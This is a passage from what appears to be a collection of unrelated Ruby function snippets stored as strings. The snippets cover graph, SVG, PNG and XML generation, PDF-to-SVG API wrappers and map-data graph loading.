put_pdf_in_storage_to_svg(name, out_path, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = put_pdf_in_storage_to_svg_with_http_info(name, out_path, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = put_pdf_in_storage_to_svg_with_http_info(name, out_path, opts)\n else\n raise\n end\n return data\n end", "def graphs\n @graphs ||= begin\n graphs = []\n graphs << {data: action.test_data_string, format: RDF::Format.for(action.test_data.to_s.to_s).to_sym} if action.test_data\n graphs + action.graphData.map do |g|\n {\n data: RDF::Util::File.open_file(g, &:read),\n format: RDF::Format.for(g.to_s).to_sym,\n base_uri: g\n }\n end\n end\n end", "def write_gdf(filename, opts=nil)\n gdf = GDF::unparse(self, opts)\n f = File.open(filename, 'w')\n f.write(gdf)\n f.close\n end", "def data\n File.read(path)\n end", "def inline_svg(filename, options = {})\n asset = sprockets.find_asset(filename)\n\n # If the file wasn't found, embed error SVG\n if asset.nil?\n return nil\n %(\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 30\"\n width=\"400px\" height=\"30px\"\n >\n <text font-size=\"16\" x=\"8\" y=\"20\" fill=\"#cc0000\">\n Error: '#{filename}' could not be found.\n </text>\n <rect\n x=\"1\" y=\"1\" width=\"398\" height=\"28\" fill=\"none\"\n stroke-width=\"1\" stroke=\"#cc0000\"\n />\n </svg>\n )\n\n # If the file was found, parse it, add optional classes, and then embed it\n else\n file = asset.source.force_encoding(\"UTF-8\")\n doc = Nokogiri::HTML::DocumentFragment.parse file\n svg = doc.at_css \"svg\"\n\n if options[:class].present?\n svg[\"class\"] = options[:class]\n end\n\n doc\n end\n end", "def to_file(name: 'screen.png')\n if name === 'ascii'\n system \"clear\" #clear the terminal screen\n Magick::Image::from_blob(to_svg).first.inspect_bitstream(width, height)\n else\n Magick::Image::from_blob(to_svg).first.write(name)\n end\n end", "def get_xml\n header = \"<DESIGN></DESIGN>\"\n path = 'public/users_xml/'+@visitor_id+'.xml'\n f = File.new(path, 'w+') \n f.write header \n f.close\n \n doc = Document.new File.new(path)\n root = doc.root\n \n ###Genes\n gen_bits_string = ''\n gen_bits.each do |g|\n gen_bits_string += g.to_s\n end\n \n genes = Element.new \"genes\"\n genes.attributes[\"string\"] = gen_bits_string\n \n root.add_element genes\n \n ###Colors\n foreground = Element.new \"foreground\"\n @colors.length.times do |n|\n color = Element.new \"fg_color\"\n color.attributes[\"red\"]= @colors[n].red.to_s\n color.attributes[\"green\"]= @colors[n].green.to_s\n color.attributes[\"blue\"]= @colors[n].blue.to_s\n color.attributes[\"n\"]=n.to_s\n \n foreground.add_element color\n end\n root.add_element foreground\n \n background = Element.new \"background\"\n @bg_colors.length.times do |n|\n color = Element.new \"bg_color\"\n color.attributes[\"red\"]= @bg_colors[n].red.to_s\n color.attributes[\"green\"]= @bg_colors[n].green.to_s\n color.attributes[\"blue\"]= @bg_colors[n].blue.to_s\n color.attributes[\"n\"]=n.to_s\n \n background.add_element color\n end\n root.add_element background\n \n ###Fonts\n fonts = Element.new \"fonts\"\n\n p = Element.new \"font\"\n p.attributes[\"type\"] = \"primary\"\n p.attributes[\"font\"] = @primary_font \n fonts.add_element p\n s = Element.new \"font\"\n s.attributes[\"type\"] = \"secondary\"\n s.attributes[\"font\"] = @secondary_font\n fonts.add_element s\n \n root.add_element fonts\n \n File.open(path, 'w') do |f| \n f.puts root \n end\n\n return path\n \n end", "def copy_placeholder\n FileUtils.cp File.expand_path(\"lib/placeholder.svg\"), self.svg_name\n end", "def to_image()\n embed_svg(svg: to_svg)\n end", "def generate(path)\n self.check_arguments\n FileUtils.mkdir(path) unless File.exists?(path)\n self.plot_signal(@raw, path + 'raw')\n self.plot_signal(@noisy, path + 'noisy')\n self.generate_html(path)\n end", "def zapisGpFile(nazev, nactenySoubor)\r\n file = File.open(\"skripty_gnuplot\\/generuj_obrazek_#{nazev}.gp\", \"w\")\r\n file.puts(\"set terminal png\")\r\n file.puts(\"set title \\'Assembly ID #{nactenySoubor[0][1]}\\'\")\r\n file.puts(\"set key autotitle columnhead\")\r\n file.puts(\"set xlabel \\'axial coordinate [cm]\\'\")\r\n file.puts(\"set ylabel \\'signal intensity [n/cm]\\'\")\r\n file.puts(\"set output \\\"output/assembly_#{nazev}.png\\\"\")\r\n file.puts(\"y1=NaN\")\r\n file.puts(\"plot \\'data_gnuplot/#{nazev}.txt\\' with steps notitle, \\'\\' u 1:2 w p pt 7 lc rgb \\\"red\\\" notitle, \\'\\' u 1:(y0=y1,y1=$2,y0) w p pt 7 lc rgb \\\"red\\\" notitle\")\r\n file.close\r\nend", "def put_pdf_in_request_to_svg(out_path, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = put_pdf_in_request_to_svg_with_http_info(out_path, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = put_pdf_in_request_to_svg_with_http_info(out_path, opts)\n else\n raise\n end\n return data\n end", "def test_extract_svg\n scraper = Scrapevg::SvgScraper.new(@html_with_no_svg)\n assert_equal scraper.svg_elements.size(), 0\n scraper = Scrapevg::SvgScraper.new(@html_with_wrong_svg)\n assert_equal scraper.svg_elements.size(), 0\n scraper = Scrapevg::SvgScraper.new(@html_with_svg)\n assert_equal scraper.svg_elements.size(), 1\n assert_equal scraper.svg_elements[0].to_s, @svg_element\n end", "def create_temp_file\n write_to_temp_file current_data\n end", "def save_png(filename)\n save_svg(filename)\n Dir.cd_to(filename) do |basename|\n system(\"convert \\\"#{basename}.svg\\\" \\\"#{basename}.png\\\"\") || system(\"rsvg-convert \\\"#{basename}.svg\\\" -o \\\"#{basename}.png\\\"\")\n end\n end", "def get_graph_at_path\n if comparison = Comparison.get(params[:id]) then\n @comparison = comparison\n path = File.join(comparison.location_of_graphs, params[:graph_path])\n\n if Dir.exist? path\n # turn the directories into the correct paths\n @graph_directories = comparison.get_directories_for_relative_path(params[:graph_path])\n if @graph_directories.nil?\n @graph_directories = []\n else\n @graph_directories = @graph_directories.map { |d| d.gsub(comparison.location_of_graphs.parent.parent, \"\") }\n end\n @graph_files = comparison.get_files_for_relative_path(params[:graph_path])\n if @graph_files.nil? or @graph_files.empty?\n @graph_files = []\n else\n @graph_files = @graph_files.map { |f| f.gsub(comparison.location_of_graphs.parent.parent, \"\") }\n subcat = @graph_files.first.split('/')[-2]\n category = @graph_files.first.split('/')[-3]\n @graph_title = [ApplicationController::Name_legend[category.to_s], ApplicationController::Name_legend[subcat]].join (\" -- \")\n end\n render :graphs\n else\n render_404\n end\n\n else\n render_404\n end\n end", "def visualize\n require 'open3'\n Open3.popen3('graph-easy') do |i,o,_|\n i.write to_graph_easy\n i.close\n puts o.read\n end\n end", "def create_page\n @outfile.puts <<'EOF'\n<!DOCTYPE html>\n<html>\n <head>\n <title>Fun Fun Fun</title>\n <meta charset=\"utf-8\">\nEOF\n\n include_stylesheets\n include_javascript\n add_data(@batch)\n @outfile.puts <<'EOF'\n </head>\n <body>\n <svg class=\"chart\">\n </svg>\n </body>\n</html>\nEOF\n end", "def write(file_name = 'graph.png')\n to_image.write(file_name)\n end", "def image file, opts = {}\n # FIXME handle case when SVG is a File or IO object\n if ::String === file && (file.downcase.end_with? '.svg')\n opts[:fallback_font_name] ||= default_svg_font if respond_to? :default_svg_font\n svg((::IO.read file), opts)\n else\n _initial_image file, opts\n end\n end", "def xml\n File.read(\"#{@file_path}.xml\")\n end", "def twine2svg(twine)\n save_with = Nokogiri::XML::Node::SaveOptions::FORMAT\n # Generate an SVG header only if requested\n if $options[:embed]\n save_with += Nokogiri::XML::Node::SaveOptions::NO_DECLARATION\n end\n\n # Generate default styles (only used if requested)\n style = <<-STYLE\n .twine .passage rect {\n fill: #{$options[:fill]};\n stroke: #{$options[:stroke]};\n stroke-width: 2px;\n }\n .twine .passage.start rect {\n stroke-width: 4px;\n }\n .twine .link {\n stroke: #{$options[:stroke]};\n stroke-width: 2px;\n }\n .twine text {\n fill: #{$options[:stroke]};\n }\n STYLE\n\n # For each link, generate a line for the path specification\n path_contents = twine.links.inject([]) do |memo, link|\n from, to = link.endpoints\n fromX = from[0] + 4\n fromY = from[1] + 4\n toX = to[0] + 4\n toY = to[1] + 4\n memo << \"M#{fromX} #{fromY} L #{toX} #{toY}\"\n end\n\n svg = Nokogiri::XML::Builder.new do |xml|\n\n # If we request a header, include a docstring\n if !$options[:embed]\n xml.doc.create_internal_subset(\n 'svg',\n '-//W3C//DTD SVG 1.1//EN',\n 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'\n )\n end\n\n xml.svg(\n 'xmlns' => 'http://www.w3.org/2000/svg',\n 'xmlns:xlink' => 'http://www.w3.org/1999/xlink',\n :width => twine.extentX + 110,\n :height => twine.extentY + 110,\n :viewbox => \"0 0 #{twine.extentX + 110} #{twine.extentY + 110}\"\n ) {\n\n # Comment about generator\n xml << \"<!-- Genereated with twine2svg #{$VERSION} -->\"\n\n # Include style if requested\n if $options[:style]\n xml.style style\n end\n\n xml.g(:class => 'twine') {\n\n # Include all the links first, so that the passages overlay\n # them; SVG works on a painterly algorithm\n xml.path(:class => 'link', :d => path_contents.join(' '))\n\n # Write each passage\n twine.passages.each do |passage|\n xml.g(:class => \"passage#{passage.start ? ' start': ''}\") {\n xml.title passage.name\n xml.rect(:x => passage.x + 4,\n :y => passage.y + 4,\n :rx => 5,\n :ry => 5,\n :width => 100, :height => 100)\n\n # Write the title of the passage if requested\n if $options[:title]\n fakewrap(passage.name, 10, 5).each_with_index do |word, i|\n xml.text_(\n :x => passage.x + 54,\n :y => passage.y + 5 + 16 * i,\n 'text-anchor' => 'middle',\n 'alignment-baseline' => 'before-edge'\n ) {\n xml.text word\n }\n end\n end\n\n # Write the ID of the passage if requested\n if $options[:ids]\n xml.text_(\n :x => passage.x + 10,\n :y => passage.y + 10,\n 'text-anchor' => 'start',\n 'alignment-baseline' => 'before-edge'\n ) {\n xml.text passage.id\n }\n end\n }\n end\n }\n }\n end\n\n # Print it out to the user\n puts svg.to_xml(:save_with => save_with)\nend", "def graph\n \n \n @graphml = \"<graphml><key id='label' for='all' attr.name='label' attr.type='string'/><key id='link' for='all' attr.name='link' attr.type='string'/><key id='weight' for='all' attr.name='weight' attr.type='double'/><key id='edgetype' for='edge' attr.name='edgetype' attr.type='string'/><key id='nodetype' for='node' attr.name='nodetype' attr.type='string'/><graph edgedefault='directed'>\" \n @sif = ''\n \n @max = 2\n @log = Array.new\n @additional = {'cleavage' => {}, 'inverse_cleavage' => {}, 'inhibition' => {}, 'inverse_inhibition' => {}, 'interaction' => {}}\n add_nodes(nil,self.protein,nil,0,nil)\n add_additional_nodes(@additional['cleavage'],'cleavage')\n add_additional_nodes(@additional['inverse_cleavage'],'inverse_cleavage')\n add_additional_nodes(@additional['inhibition'],'inhibition')\n add_additional_nodes(@additional['inverse_inhibition'],'inverse_inhibition')\n \n @graphml << \"</graph></graphml>\"\n\n \n # f = File.open(\"#{RAILS_ROOT}/public/images/dynamic/#{self.protein.name}-#{'ppi' if ppi}network.graphml\", 'w')\n # f << @graphml\n # f.close\n\n return @graphml\n end", "def get_graph_data(gid,t_start=nil,t_end=nil)\n t_end ||= Time.new.to_i\n t_start ||= (t_end - 600)\n g = get_graph(gid)\n params = {'end'=>t_end.to_i,'start'=>t_start.to_i}\n g['datapoints'].each do |dp|\n res = get_data(dp['check_id'],dp['metric_name'],params)\n data = res['data']\n dp['data'] = _data_derive(data,dp)\n end\n g['composites'].each do |cmp|\n cmp['data'] = _composite_formula(cmp['data_formula'],g)\n end\n return g\n end", "def graph(data = nil)\n robj = Rserve::Simpler.new\n hash = {}\n hash[\"mass\"] = data.map(&:first)\n hash[\"intensity\"] = data.map(&:last)\n robj.converse( masses: hash.to_dataframe) do \n \"attach(masses)\"\n end\n #robj.converse( data: Rserve::DataFrame.from_structs(list))\n robj.converse \"setwd('#{Dir.pwd}')\"\n output_file_name = \"#{@sequence}_spectra.png\"\n robj.converse do \n %Q{png(file='#{output_file_name}')\n plot(masses$mass, masses$intensity, type='h')\n dev.off()\n }\n end\t\n output_file_name\n end", "def get_graphviz\n handle_graphviz_setup\n @file_name = build_graphviz_restfulpath(params, @output_format)\n # @file_name = get_graph_dir(\"#{@graph_path}#{params[:program]}.#{@output_format}\")\n \n render :layout=>false\n end", "def svg\n svg = ng_xml.at_xpath('svg')\n svg['aria-label'] = icon_label if label\n svg['role'] = role\n svg.prepend_child(\"<title>#{icon_label}</title>\") if label\n ng_xml.to_xml\n end", "def visualize\n\n if @output\n STDERR.puts \"Refuce to output twice.\"\n exit( false )\n end\n\n @output = true\n\n close\n\n Common.openOutput\n\n outo %Q{<?xml version=\"1.0\" encoding=\"UTF-8\"?>}\n\n # No scale:\n if Opt['zoom'].given\n scaler = 1 / ( Opt['zoom'].value.to_i / 100.0 )\n else\n scaler = 1\n end\n\n if @scale\n scaler = scaler * ( 1 / ( @scale / 100.0 ) )\n end\n\n outo %Q{<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"#{size.x!/scaler}#{unit}\" height=\"#{size.y!/scaler}#{unit}\" viewBox=\"0 0 #{size.x!} #{size.y!}\">}\n\n # Output marker \"templates\".\n outo %Q{\\\n <defs>\n\n <marker id=\"markerCircle\" markerWidth=\"8\" markerHeight=\"8\" refX=\"5\" refY=\"5\">\n <circle cx=\"5\" cy=\"5\" r=\"3\" style=\"stroke: none; fill:#{linecolor_o};\"/>\n </marker>\n\n <marker id=\"endArrow\" markerWidth=\"13\" markerHeight=\"13\" refX=\"#{10-linewidth}\" refY=\"4\"\n orient=\"auto\" markerUnits=\"strokeWidth\" >\n <path d=\"M 0 0 L 0 8 L 10 4 L 0 0\" style=\"fill:#{linecolor_o};\" />\n </marker>\n\n <marker id=\"startArrow\" markerWidth=\"13\" markerHeight=\"13\" refX=\"#{linewidth}\" refY=\"4\"\n orient=\"auto\" markerUnits=\"strokeWidth\" >\n <path d=\"M 0 4 L 10 8 L 10 0 L 0 4\" style=\"fill:#{linecolor_o};\" />\n </marker>\n\n <marker id=\"endTee\" markerWidth=\"13\" markerHeight=\"13\" refX=\"0\" refY=\"5\"\n orient=\"auto\" markerUnits=\"strokeWidth\" >\n <path d=\"M 0 0 L 0 10 L 2 10 L 2 0 z\" style=\"fill:#{linecolor_o};\" />\n </marker>\n\n <marker id=\"startTee\" markerWidth=\"13\" markerHeight=\"13\" refX=\"0\" refY=\"4\"\n orient=\"auto\" markerUnits=\"strokeWidth\" >\n <path d=\"M 0 0 L 0 10 L 2 10 L 2 0 z\" style=\"fill:#{linecolor_o};\" />\n </marker>\n\n </defs>}\n\n\n if Opt['name'].given\n outo %Q{ <title>#{Opt['name'].value}</title>}\n else\n outo %Q{ <title>Sivigi figure</title>}\n end\n\n @items.each do |i|\n i.fixpos\n end\n\n # Output each layer in turn.\n layers = Layer.system.list\n layers.each do |layer|\n @items.each do |i|\n incind 2\n i.output( layer )\n decind 2\n end\n end\n\n outo \"</svg>\"\n\n Common.closeOutput\n end", "def get_pdf_in_storage_to_svg_with_http_info(name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_pdf_in_storage_to_svg ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.get_pdf_in_storage_to_svg\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/convert/svg\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'compressOutputToZipArchive'] = opts[:'compress_output_to_zip_archive'] if !opts[:'compress_output_to_zip_archive'].nil?\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['multipart/form-data'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'File')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_pdf_in_storage_to_svg\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def write_gpx filename, gpx\n $stderr.puts \"Writing #{filename}\" if $verbose\n File.open filename, 'w:UTF-8' do |file|\n file.write gpx\n end\nend", "def graph_pressure\n graphfile = @hplc_object.graph\n end", "def load_graph()\n nodes = {}\n vertices = {}\n visualVertices = {}\n edges = []\n visualEdges = []\n bounds = {}\n\n File.open(@filename, 'r') do |file|\n doc = Nokogiri::XML::Document.parse(file)\n\n doc.root.xpath('bounds').each do |bound|\n bounds[:minlon] = bound['minlon']\n bounds[:minlat] = bound['minlat']\n bounds[:maxlon] = bound['maxlon']\n bounds[:maxlat] = bound['maxlat']\n end\n\n doc.root.xpath('node').each do |node|\n nodes[node['id']] = node\n end\n\n doc.root.xpath('way').each do |way_element|\n speed = 50\n oneway = false\n continue = false\n\n way_element.xpath('tag').each do |tag_element|\n speed = tag_element['v'] if tag_element['k'] == 'maxspeed'\n oneway = true if tag_element['k'] == 'oneway'\n continue = true if tag_element['k'] == 'highway' && @highway_attributes.include?(tag_element[\"v\"])\n end\n\n if continue\n (way_element.xpath('nd').count - 1).times do |i|\n from_nd_id = way_element.xpath('nd')[i]\n to_nd_id = from_nd_id.next_element['ref']\n\n from_node = nodes[from_nd_id['ref']]\n to_node = nodes[to_nd_id]\n\n # Create vertex, add into hash\n vertex = Vertex.new(to_nd_id)\n vertex2 = Vertex.new(from_nd_id['ref'])\n vertices[to_nd_id] = vertex unless vertices.has_key?(to_nd_id)\n vertices[from_nd_id['ref']] = vertex2 unless vertices.has_key?(from_nd_id['ref'])\n\n # Create visual vertex\n visual_vertex2 = VisualVertex.new(to_nd_id, to_node, to_node['lat'], to_node['lon'], to_node['lat'], to_node['lon'])\n visual_vertex = VisualVertex.new(from_node['id'], from_node, from_node['lat'], from_node['lon'], from_node['lat'], from_node['lon'])\n visualVertices[from_node['id']] = visual_vertex unless visualVertices.has_key?(from_node['id'])\n visualVertices[to_node['id']] = visual_vertex2 unless visualVertices.has_key?(to_node['id'])\n\n # Create edge\n edge = Edge.new(vertex, vertex2, speed, oneway)\n edges << edge\n edge.distance = calculate_distance([from_node['lat'].to_f, from_node['lon'].to_f], [to_node['lat'].to_f, to_node['lon'].to_f])\n\n # Create visual edge\n visualEdge = VisualEdge.new(edge, visual_vertex, visual_vertex2)\n visualEdges << visualEdge\n end\n end\n end\n end\n\n # Create graph, visual graph\n graph = Graph.new(vertices, edges)\n visualGraph = VisualGraph.new(graph, visualVertices, visualEdges, bounds)\n\n # Find largest component\n largest_comp = find_component(graph)\n\n # Filter vertices and edges from largest component and create graphs from largest component\n filtered_edges = graph.edges.reject { |edge| !largest_comp.include?(edge.v1.id) || !largest_comp.include?(edge.v2.id)}\n filtered_vertices = graph.vertices.reject { |vertex| !largest_comp.include?(vertex)}\n filter_visual_edges = visualGraph.visual_edges.reject { |vis_edge| !largest_comp.include?(vis_edge.v1.id) || !largest_comp.include?(vis_edge.v2.id)}\n filter_visual_vertices = visualGraph.visual_vertices.reject { |vis_vertex| !largest_comp.include?(vis_vertex)}\n\n graph = Graph.new(filtered_edges,filtered_vertices)\n visualGraph = VisualGraph.new(graph, filter_visual_vertices, filter_visual_edges, bounds)\n\n return graph, visualGraph\n end", "def to_s\n tempfile = Tempfile.new('tempfile')\n path = tempfile.path\n write(path)\n\n File.read(path)\n end", "def load_graph()\n\n\t\t# Get bounds which are needed later\n\t\tdoc = File.open(@filename) { |f| Nokogiri::XML (f) }\n\n\t\t# get bounds\n\t\tbounds = {}\n\n\t\tdoc.xpath(\"//bounds\").each do |boundsValues|\n\t\t\tbounds[:minlon] = boundsValues[:minlon]\n\t\t\tbounds[:minlat] = boundsValues[:minlat]\n\t\t\tbounds[:maxlon] = boundsValues[:maxlon]\n\t\t\tbounds[:maxlat] = boundsValues[:maxlat]\n\t\tend\n\n\t\t# load nodes\n\t\tvertices = {}\n\t\tvisualVertices = {}\n\t\tdoc.xpath(\"//node\").each do |node|\n\t\t\t# this vertex\n\t\t\tnormalVertex = Vertex.new(node[:id])\n\t\t\tvertices[node[:id]] = normalVertex\n\n\t\t\t# kinda confusing to have lat, lon and x, y when they have the same value\n\t\t\tvisualVertex = VisualVertex.new(node[:id], normalVertex, node[:lat], node[:lon], node[:lat], node[:lon])\n\t\t\tvisualVertices[node[:id]] = visualVertex\n\t\tend\n\n\t\t# load edges\n\t\tedgesAr = []\n\t\tvisualEdgesAr = []\n\t\tv1 = nil\n\t\tskip = true\n\t\twayCounter = 0\n\t\twayCounter2 = 0\n\n\n\n\t\tdoc.xpath(\"//way\").each do |way|\n\t\t\tdoc2 = Nokogiri::XML(way.to_s)\n\t\t\t# for each way check tags for highway, speed etc\n\t\t\twayCounter2 = wayCounter2 + 1\n\t\t\tv1 = nil\n\t\t\tskip = true\n\t\t\tmaxSpeed = 50\n\t\t\toneWay = false\n\n\t\t\tdoc2.xpath(\"//tag\").each do |tag|\n\t\t\t\tif tag[:k] == \"highway\" && (@highway_attributes.include? tag[:v])\n\t\t\t\t\tskip = false\n\t\t\t\tend\n\n\t\t\t\tif tag[:k] == \"maxspeed\"\n\t\t\t\t\tmaxSpeed = tag[:v].to_i\n\t\t\t\tend\n\n\t\t\t\tif tag[:k] == \"oneway\" && tag[:v] == \"yes\"\n\t\t\t\t\toneWay = true\n\t\t\t\tend\n\n\t\t\t\t# Set max speed based on the tag\n\t\t\t\tif tag[:k] == \"source:maxspeed\"\n\t\t\t\t\tif tag[:v] == \"CZ:motorway\"\n\t\t\t\t\t\tmaxSpeed = 130\n\t\t\t\t\telsif tag[:v] == \"CZ:trunk\"\n\t\t\t\t\t\tmaxSpeed = 110\n\t\t\t\t\telsif tag[:v] == \"CZ:rural\"\n\t\t\t\t\t\tmaxSpeed = 90\n\t\t\t\t\telsif tag[:v] == \"CZ:urban_motorway\"\n\t\t\t\t\t\tmaxSpeed = 80\n\t\t\t\t\telsif tag[:v] == \"CZ:urban_trunk\"\n\t\t\t\t\t\tmaxSpeed = 80\n\t\t\t\t\telsif tag[:v] == \"CZ:urban\"\n\t\t\t\t\t\tmaxSpeed = 50\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif !skip\n\t\t\t\twayCounter = wayCounter + 1\n\n\t\t\t\tdoc2.xpath(\"//nd\").each do |point|\n\t\t\t\t\tif v1 == nil\n\t\t\t\t\t\tv1 = point[:ref]\n\t\t\t\t\telse\n\t\t\t\t\t\t# create normal edge\n\t\t\t\t\t\tnewEdge = {:vertex1 => v1, :vertex2 => point[:ref], :maxSpeed => maxSpeed, :oneWay => oneWay}\n\t\t\t\t\t\tedgesAr << newEdge\n\n\n\t\t\t\t\t\t# edges << Edge.new(v1, point[:ref], maxSpeed, oneWay)\n\t\t\t\t\t\tv1 = point[:ref]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# we have all the edges eg lines. there is a lot of duplicates so reduce them!\n\t\tedgesArReduced = edgesAr.uniq\n\n\t\t# used is a unique hash of used vertices - we don't need points that are not being referenced by any path\n\t\tusedVertices = {}\n\t\tusedVisualVertices = {}\n\t\tedges = []\n\t\t# now put them into the array as instances of the required class Edge\n\t\tedgesArReduced.each do |edge|\n\t\t\tnewEdgeReduced = Edge.new(vertices[edge[:vertex1]], vertices[edge[:vertex2]], edge[:maxSpeed], edge[:oneWay])\n\n\t\t\t# used vertices\n\t\t\tusedVertices[edge[:vertex1]] = vertices[edge[:vertex1]]\n\t\t\tusedVertices[edge[:vertex2]] = vertices[edge[:vertex2]]\n\n\t\t\tedges << newEdgeReduced # create visual edge\n\n\n\t\t\tvisualEdge = VisualEdge.new(newEdgeReduced, visualVertices[edge[:vertex1]], visualVertices[edge[:vertex2]])\n\t\t\tusedVisualVertices[edge[:vertex1]] = visualVertices[edge[:vertex1]]\n\t\t\tusedVisualVertices[edge[:vertex2]] = visualVertices[edge[:vertex2]]\n\n\t\t\tvisualEdgesAr << visualEdge\n\t\tend\n\n\t\t# load\n\t\t#\n\t\t# test generating the graph with the graphwiz - all seems good in the exported file\n\t\tgraph = Graph.new(usedVertices, edges)\n\t\tvisualGraph = VisualGraph.new(graph, usedVisualVertices, visualEdgesAr, bounds)\n\n\t\t# we have edges nwo find the largest component\n\t\tcomponents = {}\n\n\n\t\treturn graph, visualGraph\n\n\tend", "def show\n graph = GraphViz.new(:G, type: :digraph)\n competency = Competency.find(params[:id])\n graphviz(graph, competency)\n @file = Tempfile.new(['foo', '.png'], \"#{Rails.root}/public/images\")\n graph.output(png: @file.path)\n end", "def svg(options = {})\n default_options = {\n include_style: true,\n height: \"200px\",\n background_color: \"#111111\",\n left: \"35%\",\n top: \"75px\",\n moon_color: \"#CDCDCD\",\n shadow_color: \"#000000\"\n }\n options = default_options.merge(options)\n \n output = \"\"\n \n if options[:include_style] then\n output << \"<style>\"\n output << \"#moonholder { height: #{options[:height]}; background-color: #{options[:background_color]}; }\"\n output << \"#moon { position:absolute; left:#{options[:left]}; top:#{options[:top]}; }\"\n output << \".moon { fill: #{options[:moon_color]}; }\"\n output << \".moonback { stroke: #{options[:shadow_color]}; stroke-width: 1px; height: 180px; }\"\n output << \"</style>\"\n end\n \n output << \"<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100% 100%' version='1.1' id='moon'>\"\n output << \" <path d='m100,0 a20,20 0 1,1 0,150 a20,20 0 1,1 0,-150' class='moonback'></path>\"\n output << \" <path d='m100,0 a#{@magnitude.round(2)},20 0 1,#{@sweep[0]} 0,150 a20,20 0 1,#{@sweep[1]} 0,-150' class='moon'></path>\"\n output << \"</svg>\"\n output.html_safe\n end", "def get_data\n json_file = Egd::Builder.new(File.read(@file)).to_json\n data = JSON.parse(json_file)\n end", "def build_graph(title, unit, file, data)\n graph = Gruff::Line.new\n graph.title = title\n labels = {}\n values = []\n number = 10 - 1\n\n if unit == \"monthly\"\n number -= 2\n end\n\n massage_dates data, unit\n\n data.each_with_index do |v, i|\n if i % (data.length.to_f/number).ceil == 0 and labels.size < number\n # skip the last label, add it manually\n labels[i] = v[\"time\"]\n end\n values << v[\"average\"]\n end\n\n labels[data.size-1] = data.last[\"time\"]\n\n graph.labels = labels\n graph.data \"BTC ($)\", values\n\n graph.write(file.path)\n end", "def graph t\n puts \"graphing #{@graphname}\"\n $end_time = Time.now.to_i - @step + 1\n $start_time = $end_time - 3600 #one hour\n $unc, $ucr, $unr = t\n RRD.graph(\n \"#{@graphname}\",\n \"--title\", \"#{@name.reverse.chomp(@r_db_path).reverse.chomp(\".rrd\")}\",\n# \"--vertical-label\",\"Ambient Temp\",\n \"--start\", \"#{$start_time}\",\n \"--end\", \"#{$end_time}\",\n \"--interlaced\",\n \"--imgformat\", \"PNG\",\n \"DEF:amb_#{@ds_label}=#{@name}:#{@ds_label}:#{@rra_cf}\",\n \"LINE1:amb_#{@ds_label}#555555:Ambient Temperature\",\n \"HRULE:#{$unc}#FF4500:Threshold - Non-Critical\",\n \"HRULE:#{$ucr}#FF0000:Threshold - Critical\"\n )\n end", "def graph_file(name_valid, arr_pass, arr_error)\n total = arr_pass.length + arr_error.length\n percentage_valid = ((arr_pass.length.to_f / total) * 100).round(2)\n percentage_invalid = ((arr_error.length.to_f / total) * 100).round(2)\n file = File.open(name_valid, 'a')\n file.puts\n file.puts 'GRAPH'\n file.puts '╔═══════════════════════════════════════════════════════════════════'\n file.puts \"║Valids: #{arr_pass.length} #{'█' * (percentage_valid / 2)} #{percentage_valid}%\"\n file.puts '║'\n file.puts \"║Invalids: #{arr_error.length} #{'▓' * (percentage_invalid / 2)} #{percentage_invalid}%\"\n file.puts '║ % ───│────│────│────│────│────│────│────│────│────│'\n file.puts '║ 10 20 30 40 50 60 70 80 90 100'\n file.puts '╚═══════════════════════════════════════════════════════════════════'\nrescue Exception => e\n puts \"ERROR, #{e.message}\"\nend", "def show\n @barcode_list = BarcodeList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @barcode_list }\n format.svg { send_data @barcode_list.data, :type => 'image/svg+xml', :disposition => 'inline' }\n end\n end", "def show\n @barcode_list = BarcodeList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @barcode_list }\n format.svg { send_data @barcode_list.data, :type => 'image/svg+xml', :disposition => 'inline' }\n end\n end", "def datapath\n @datapath.dup\n end", "def realizar_grafico_gas()\n @tipo = \"gas\"\n data = ParteDiario.produccion_mensual_gas(@fecha)\n g = self.init_graph(\"Producción de Gas en #{I18n.l(@fecha, :format => \"%B %Y\")}\")\n fecha_ini = @fecha.beginning_of_month\n fecha_fin = @fecha.end_of_month\n dias = {}\n contador = 0\n while fecha_ini < fecha_fin\n dias[contador] = fecha_ini.strftime(\"%d\")\n contador += 1\n fecha_ini += 1.day\n end\n g.labels = dias\n g.data(\"Producción Bruta\", data.collect{|d| d.try(:produccion).to_f})\n g.data(\"Entregado a Gasoducto\", data.collect{|d| d.try(:entregado).to_f})\n g.write(Rails.public_path + \"/informes/#{@tipo}-#{@fecha.to_date.to_s(:db)}.png\")\n end", "def graph_full_path(graph_filename)\n path = Rails.root.join('public', graph_relative_path)\n # path 